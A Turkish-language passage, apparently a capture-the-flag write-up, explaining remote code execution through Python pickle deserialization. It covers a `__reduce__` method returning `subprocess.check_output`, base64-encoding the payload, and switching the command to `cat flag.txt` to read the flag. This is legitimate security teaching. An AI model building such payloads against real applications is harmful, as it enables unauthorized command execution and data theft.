Neden `subprocess.check_output` Kullanıyoruz? Siber güvenlik operasyonlarında hedef sistemde bir komut çalıştırdığınızda (Örneğin `ls` veya `cat`), elde edilen çıktının (Standard Output - **stdout**) size geri dönmesi gerekir. Eğer `os.system('ls -la')` kullanırsanız, komut sunucuda başarıyla çalışır ancak çıktı doğrudan sunucunun kendi terminaline yazdırılır; web uygulaması size sadece komutun başarı kodunu (`0`) döndürür. Bu durum **Blind RCE** (Kör Uzaktan Kod Çalıştırma) olarak adlandırılır.

Bunu aşmak için `subprocess.check_output` fonksiyonu kullanılır. Bu fonksiyon, verilen işletim sistemi komutunu çalıştırır, terminale yazdırılacak olan çıktıyı yakalar ve bunu bir byte dizisi olarak return eder (geri döndürür). Hedef web uygulaması `pickle.loads()` işlemiyle bizim manipüle edilmiş nesnemizi ters serileştirdiğinde, nesnenin değeri doğrudan `ls -la` komutunun metinsel çıktısı olur ve bu çıktı ekrana yansıtılır.

Parametrelerin Yapısı ve `__reduce__` Mantığı: Python'un serileştirme motoru `pickle`, nesneyi belleğe alırken `__reduce__` metodunu çağırır. Bu metot iki elemanlı bir Tuple (Demet) döndürmelidir: (Çalıştırılacak_Fonksiyon, (Fonksiyon_Argümanları,)). Burada çalıştırılacak fonksiyon `subprocess.check_output` olarak belirlenmiştir. Bu fonksiyon, argüman olarak string değil, bir liste (list) bekler. Bu nedenle komut parametreleri `cmd = ['ls', '-la']` şeklinde parçalanarak verilmiştir. Son kısımdaki `(cmd,)` syntax'ındaki virgöl, değer kesinlikle bir Tuple olduğunu Python motoruna dikte eder.

Serialization ve Base64 Encoding Aşaması: Sınıf yapılandırıldıktan sonra `pickle.dumps(MaliciousLS())` komutu ile nesne bellekte (RAM) raw (ham) byte formatına

dönüştürülür. Ağ protokolleri ve web formları ham byte verilerini (özellikle null byte karakterlerini) doğru taşıyamayacağı ve **Data Corruption** (Veri Bozulması) yaşanacağı için, elde edilen veri `base64.b64encode()` ile sadece ASCII karakterlerden oluşan güvenli bir formata dönüştürülür. Sonundaki `.decode()` ise byte objesini (b'...') standart string formatına çevirerek terminalden kopyalamamızı sağlar.

Sonraki Adım: Bayrağı (Flag) Okumak İçin Adaptasyon

Uygulamaya bu Base64 payload'unu gönderdikten sonra ekranda mevcut dizindeki tüm dosyaları (`ls -la` çıktısını) göreceğiz. Eğer aradığımız dosya `flag.txt` ise, elde ettiğimiz bu kusursuz kalıbı kullanarak sadece `cmd` değişkenini güncellememiz yeterlidir:

```
# Sadece komut satırını değiştirerek RCE'yi yönlendiriyoruz:  
cmd = ['cat', 'flag.txt']
```

Bu ufak değişiklik sonrası üretilen yeni Base64 kodunu sisteme gönderdiğimizde, `subprocess.check_output` hedef dosyayı okuyacak ve içeriğini web uygulaması üzerinden doğrudan bize yansıtacaktır. Bu yaklaşım, sistemde tam bir hakimiyet kurduğumuzun ve kısıtlı Python fonksiyonlarına (eval gibi) bağlı kalmadan işletim sistemi seviyesinde (OS-level) yetki elde ettiğimizin kesin kanıtıdır.